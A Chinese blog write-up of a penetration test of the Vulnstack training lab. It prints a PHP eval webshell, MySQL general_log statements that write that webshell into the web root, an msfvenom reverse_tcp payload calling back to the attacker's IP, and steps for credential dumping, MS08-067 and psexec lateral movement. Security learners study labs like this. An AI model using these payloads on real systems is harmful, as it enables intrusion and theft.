复现红日安全-ATT& CK实战：Vulnstack靶场实战（一）

最新推荐文章于 2024-03-19 20:09:15 发布
最新推荐文章于 2024-03-19 20:09:15 发布
阅读量751 收藏 4
点赞数 5
分类专栏： 安全学习 文章标签： 安全 网络 linux
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_51152373/article/details/131215381
版权

内网实战

环境配置
所有主机密码为：hongrisec@2019
密码同一修改为：hongrisec@2021
攻击机
名称： win 10 | kali 2020
ip: 192.168.154.1 | 192.168.154.178

vm1
名称： win 7
ip: 外网：192.168.154.0
内网：192.168.52.143
在这里插入图片描述

vm2
名称： win 2003
ip: 192.168.52.141
在这里插入图片描述

vm3
名称： win 2008（域控）
ip: 192.168.52.138
在这里插入图片描述

网络配置
在这里插入图片描述

Win7
在这里插入图片描述

Winserver2003
在这里插入图片描述

Windows server 2008 r2
在这里插入图片描述

服务开启
打开win 7靶机的服务，然后使用win 7中的浏览器访问127.0.0.1，查看服务是否开启
在这里插入图片描述
在这里插入图片描述

信息收集
探测目标
2.0.0 arp扫描器
Kali自带了arp扫描器，可以通过这个工具扫描出和自身网卡同一网段的主机
arp-scan -l #扫描网段所有主机
arp-scan -I eth0 -l #扫描指定网段所有ip
可以发现扫到了192.168.154.0的ip，访问后和win 7属于同一个页面。
在这里插入图片描述

nmap
nmap -sn 192.168.154.0/24
在这里插入图片描述

端口服务
nmap
nmap -T4 -p- 192.168.154.0 #T4是扫描速度
在这里插入图片描述

扫描80端口
nmap -sN -P 80 192.168.154.0
在这里插入图片描述

御剑
在这里插入图片描述

漏洞利用
漏洞分析
3.0 备份文件
3.0.0 备份文件
文件名为：yxcms，猜测路径为：http://192.168.154.0/yxcms
在这里插入图片描述

敏感信息
在这里插入图片描述

PHPMyAdmin
http://192.168.154.0/phpmyadmin/
在这里插入图片描述

默认后台
http://192.168.154.0/yxcms//index.php?r=admin/index/login
在这里插入图片描述

漏洞利用
Yxcms后台模板 Getshel弱口令登录
在上面信息收集处看到了默认密码admin/123456
在这里插入图片描述

访问Yxcms的默认后台路径进行登录
http://192.168.154.0/yxcms//index.php?r=admin/index/login
在这里插入图片描述

模板写一句话 & 蚁剑连shell
看到有个前台模板，既然是模板，那应该有写入shell的地方。
点击前台模板>管理模板文件>点击编辑（选择index_index.php,因为最好找到路径）
在这里插入图片描述
在这里插入图片描述

此时可以写入一句话木马，正常这里应该是搞个免杀之类的，可以插入一些回显的信息来提供佐证。
访问主页面（http://192.168.154.0/yxcms/）可以发现主页面出现了phpinfo和一堆字符串，此刻可以用菜刀连接了，连接上了，shell也就到手了。

<?php eval($_POST["cmd"]); phpinfo(); echo 'aaaaaaaa' ?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

PHPMyAdmin日志 Getshell
4.1.0 弱口令登录PHPMyAdmin
在配置文件中发现了数据库的账号密码root / root，访问PHPMyAdmin并使用root登录
http://192.168.154.0/phpmyadmin/
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

phpmyadmin 日志写入一句话
我们是用root账户登陆了，且源码泄露和phpinfo()导致我们知道了绝对路径，就差secure_fiel_priv值为什么了。
点击SQL输入语句查看secure_file_priv，发现secure_file_priv=NULL，所以无法写如shell。
使用以下语句查询general_log和general_log_file信息
show global variables like “%general%”;
在这里插入图片描述

使用下面的命令行进行修改
set global general_log=“on”; #开启日志，修改为on

set global general_log_file=“C:/phpStudy/WWW/a.php”; #修改日志路径（在上面提到的phpinfo.php中有泄露路径）
在这里插入图片描述

SELECT ‘<?php eval($_post["cmd"];?>’
在这里插入图片描述

蚁剑连shell
在上面可以知道我们是直接将a.php写在C盘的WWW中的，所以直接访问，然后使用蚁剑连接
http://192.168.154.0/a.php
在这里插入图片描述
在这里插入图片描述

MSF
6.0.0 msfvenom
msfvenom非常强大，可以生成526种payload
1.在kali上生成shell.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.178 LPORT=1111 -f exe -o shell.exe

-p为指定payload，使用msf的payload的时候要和这个相同，lhost为自己ip，lport为自己端口，-f为payload类型

在这里插入图片描述

2.上传到服务器上
使用蚁剑将文件上传到服务器上
在这里插入图片描述

3.msf开启监听
use explpit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.154.178
set lport 1111
exploit
在这里插入图片描述

4.在蚁剑命令行中运行shell.exe
在这里插入图片描述

CS配置
这里payload需要选择Foreign HTTP
在这里插入图片描述
在这里插入图片描述

创建了artifact.exe用蚁剑放入win7
在这里插入图片描述
在这里插入图片描述

连接成功
在这里插入图片描述

Ｍｓｆ配置
在这里插入图片描述

连接成功
在这里插入图片描述

查看内部进程
在这里插入图片描述

使用cs的socks功能将msf带入内网
cs配置：
打开会话，输入socks 1234
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

msf配置：
粘贴cs生成的命令
setg Proxies socks4:192.168.154.178:1234
setg ReverseAllowProxy true 允许反向代理
在这里插入图片描述

修改/etc/proxychains.conf文件
在这里插入图片描述

内网信息收集
ipconfig/all查看DNS服务器
在这里插入图片描述

先提权
msf
getuid # 查看当前权限
getsystem # 提升至system
在这里插入图片描述

主机密码收集
1、使用cs
使用 hashdump 和 logonpasswords 读内存和注册表密码，在 Credentials 模块下查看
在这里插入图片描述
在这里插入图片描述

补丁信息收集
在这里插入图片描述

安装软件信息
在这里插入图片描述

路由信息
添加路由，使得 MSF 能够通过 Win7 路由转发访问192.168.52.0 网段
在这里插入图片描述

arp扫描52网段
在这里插入图片描述

关闭防火墙，再使用nmap扫描
在这里插入图片描述
在这里插入图片描述

使用nmap的vuln漏洞扫描脚本进行扫描
在这里插入图片描述

使用msf辅助模块进行扫描，查看是否存在ms17-010漏洞
在这里插入图片描述

目标机器上的nmap，对内网其他主机进行扫描
在cs上使用主机192.168.52.0信息
在这里插入图片描述

内网攻击
MS08-067
使用cs将msf带入内网后，使用ms08-067攻击模块攻击内网主机，注意使用的是反向代理，所以这里payload需要使用正向
在这里插入图片描述
在这里插入图片描述

Win7无法利用此漏洞
在这里插入图片描述

使用环境win2003
在这里插入图片描述

漏洞利用成功
在这里插入图片描述

SMB远程桌面口令猜测
使用msf的smb口令猜测模块，配置参数用于smb口令爆破
在这里插入图片描述

RPC DCOM 服务漏洞
漏洞原理：
微软修改 dcerpc 框架后形成自己的 RPC 框架来处理进程间的通信。微软的 RPC 框架在处理 TCP/IP 信息交换过程中存在的畸形消息时，未正确处理，导致缓冲区溢出漏洞；
此漏洞影响使用 RPC 框架的 DCOM 接口，DCOM 接口用来处理客户端机器发送给服务器的 DCOM 对象激活请求，如 UNC 路径
漏洞利用：
在这里插入图片描述

ms17-010
在这里插入图片描述

横向移动
由于内网机是无法直接和外网连接的,这将win7当成跳板机。

官网介绍:SMB Beacon使用命名管道通过父级Beacon进行通讯，当两个Beacons链接后，子Beacon从父Beacon获取到任务并发送。
因为链接的Beacons使用Windows命名管道进行通信，此流量封装在SMB协议中，所以SMB Beacon相对隐蔽，绕防火墙时可能发挥奇效。
在这里插入图片描述

然后使用之前获取的主机信息和凭据，使用psexec模块进行登入。
在这里插入图片描述
在这里插入图片描述

上线比较慢，等了一会

在这里插入图片描述

净网平台
关注
  • 5
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
专栏目录
红日Web安全新手入门专刊.pdf
08-08
目录 1 web 安全新手入门指南 2 安全靶场实例分析
2020年红日安全星火沙龙PPT.zip
02-25
2020年红日安全星火沙龙PPT
vulnstack内网靶场渗透测试
最新发布
three_1996的博客
03-19 634
【代码】vulnstack内网靶场渗透测试。
漏洞靶场平台搭建与漏洞分析文档
04-29
漏洞靶场平台搭建与漏洞分析文档，里面包含漏洞靶场网站的搭建、漏洞分析、工具使用、漏洞脚本样例，来源是红日安全，大家一起学习，进步！
Elemental:元素-ATT＆CK威胁库
05-01
元素的 Elemental是MITER ATT＆CK技术，Atomic Red Team测试和280多个Sigma规则的集中式威胁库。 它提供了另一种探索ATT＆CK数据集的方式，将相关的Atomic Red Team测试和Sigma规则映射到它们各自的技术。 Elemental允许防御者创建自定义ATT＆CK技术并上传Sigma规则。 ATT＆CK数据集是通过hunters-forge Attackcti Python客户端收集的。 从Atomic Red Team GitHub存储库导入了Atomic Red Team测试。 如果Sigma规则包含ATT＆CK标签，则从Sigma的GitHub规则集合中导入。 该平台被设想为加州大学伯克利分校的信息和网络安全硕士计划的顶峰项目。 我们期待社区反馈新的想法和改进。 此Elemental实例是实验性的，未配置用于生产部署。 请参阅有关配置
att7053电量采集芯片的驱动代码
04-08
ATT7053电量计量芯片的驱动，C语言编写，采用SPI通信方式进行采样，比较基础，可以参考进行移植。。
Vulnstack----1、ATT&CK红队评估实战靶场一
七天
08-01 1018
3、敏感目录：http://192.168.144.132/phpMyadmin。4、发现yxcms:http://192.168.144.132/yxcms。192.168.52.143:存在MS17-010。192.168.52.138:存在MS17-010。域用户：dev1、root-tvi862ubeh。win7内网ip：192.168.52.143。1、ip地址：192.168.144.132。内网ip地址：192.168.52.143。内网网段：192.168.52.0/24。
VulnStack实战（一）超级实战
weixin_51198941的博客
07-14 712
查看了一下，把敏感信息收集起来，比如网站根目录，开启的什么敏感文件，然后我们往下边翻的时候，发现有一个登录框，用常见的弱口令试了一下，发现root，root能登录。当前域名为god，登录用户是administrator，且存在两个网卡，分别是192.168.22.133(外网)和192.168.52.143（内网）net config Workstation 当前计算机名，全名，用户名，系统版本，工作站域，登陆域。共有三台机器，Win7是对外的web机，Win2003和Win2008（DC）是内网机器。
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估（七）)
DG_s1mple
04-18 6076
这么久没打vulnhub全是因为在吃这一套内网靶场(绝对没有在摸鱼 )，现在把我的思路写下来 前言 这是Vulnstack里的一套靶场，ATT&CK实战系列-红队评估（七） 这是靶场的链接：http://vulnstack.qiyuanxuetang.net/vuln/detail/9/ 网络环境 整个靶场环境一共五个靶机（总共27.8 GB），分别位于三层网络环境中： DMZ区IP段为192.168.1.1/24 第二层网络环境IP段为192.168.52.1/24 第三层网络环境IP段为192
Vulnstack红日安全内网域渗透靶场1实战
热门推荐
道阻且长，行则将至。
07-14 1万+
文章目录前言靶场搭建外网打点MySQL写日志GetshellCMS后台上传GetShell内网渗透靶机CS后门上线内网域信息的收集 前言 VulnStack 是由红日安全团队倾力打造一个靶场知识平台。为了进一步学习内网渗透，本文将学习并记录红日安全团队提供的一个内网域环境靶场的渗透过程。 靶场搭建 在线 靶场链接 如下： 1、下载后为 3 个虚拟机，网络拓扑如下： 2、从网络拓扑图得知，需要模拟内网和外网两个网段， Win7 虚拟机相当于网关服务器，所以需要两张网卡，故需要配置两个网络适配器（网卡），点击
vulnstack(红日)内网渗透靶场二: 免杀360拿下域控
xf555er的博客
05-30 2076
当针对内网主机使用MSF进行永恒之蓝漏洞攻击失败时，一个替代方案是首先利用frp实现内网穿透，然后再进行漏洞利用。这种方法可能会产生意想不到的效果。我原本计划通过Meterpreter的portfwd命令将域控的3389端口映射到kali本地端口，随后使用rdesktop进行远程登录。然而，这一计划并未成功，我推测这可能是因为域控做了某些限制，只允许10.10.10.0/24网段的主机进行远程登录。
红日安全-wp1
08-03
护网杯 Write up--红日安全迟来的签到base64 解密，得到如下结果：根据题目提示为 xor 异或，利用 c 语言撰写脚本利用 burp 爆破获得大辣
(14条消息) 红日安全vulnstack-ATT&CK实战系列 红队实战(一)_Ys3ter的博客-CSDN博客.html
05-27
(14条消息) 红日安全vulnstack-ATT&CK实战系列 红队实战(一)_Ys3ter的博客-CSDN博客.html
ATT-CK-CN：ATT＆CK实操
02-05
ATT-CK-CN：ATT＆CK实操
ATT&CK中文手册.zip
11-24
一、Initial Access(入口点) 二、Execution(命令执行) 三、Persistence(持久化) 四、Privilege Escalation(权限提升) 五、Defense Evasion(绕过防御) 六、Credential Access(获取凭证) 七、Discovery(基础信息收集) ...
VulnStack靶场6
weixin_45568454的博客
11-04 192
打靶日记之VulnStack记录 记下了好多踩过的坑 以及一些小的心得体会
安卓蓝牙ATT协议介绍
suwen8100的博客
06-20 1516
蓝牙ATT协议
BLE学习(3)：ATT和GATT详解
主要分享硬件、嵌入式软件部分知识
11-21 6740
ATT协议负责管理设备之间的数据存储。它为服务端提供了一种客户端可以进行读写的Attribute数据结构，并为客户端提供了访问、写入和读取数据的机制(访问方法和权限)。GATT层定义了一个层次化的数据结构，它有助于理解存储在服务端中数据之间的关系。
红日靶场下载csdn
08-13
红日靶场是一个很受欢迎的网络安全实验平台，用于学习和锻炼网络攻防技术。由于该平台所提供的安全实验环境包含了许多常见的漏洞和攻击场景，因此在安全爱好者和专业人士中间都非常受欢迎。 要下载红日靶场，首先需要在CSDN（中国软件与技术服务股份有限公司）网站上搜索相关资源。CSDN是中国最大的IT技术社区和资源分享平台，用户可以在其网站上找到各种技术文档、开发工具和学习资源。 在CSDN网站上搜索红日靶场，可以找到一些与红日靶场相关的下载链接。用户可以根据自己的需求选择合适的下载链接，点击下载按钮即可开始下载。 下载过程可能需要一些时间，具体时间取决于网络连接速度和文件大小。一旦下载完成，用户可以根据下载的文件类型进行相应的安装或配置，以确保红日靶场能够正常运行。 如果在CSDN上找不到合适的下载资源，也可以尝试在其他一些技术资源网站或论坛上搜索红日靶场下载链接。同时，用户还可以考虑通过与其他网络安全爱好者或专业人士交流，获得更多关于红日靶场下载的信息和建议。 最后，下载红日靶场后，用户可以通过参与其中的各种实验和挑战，提升自己的网络安全技能，并加深对各种攻防技术的理解和应用。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

净网平台

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值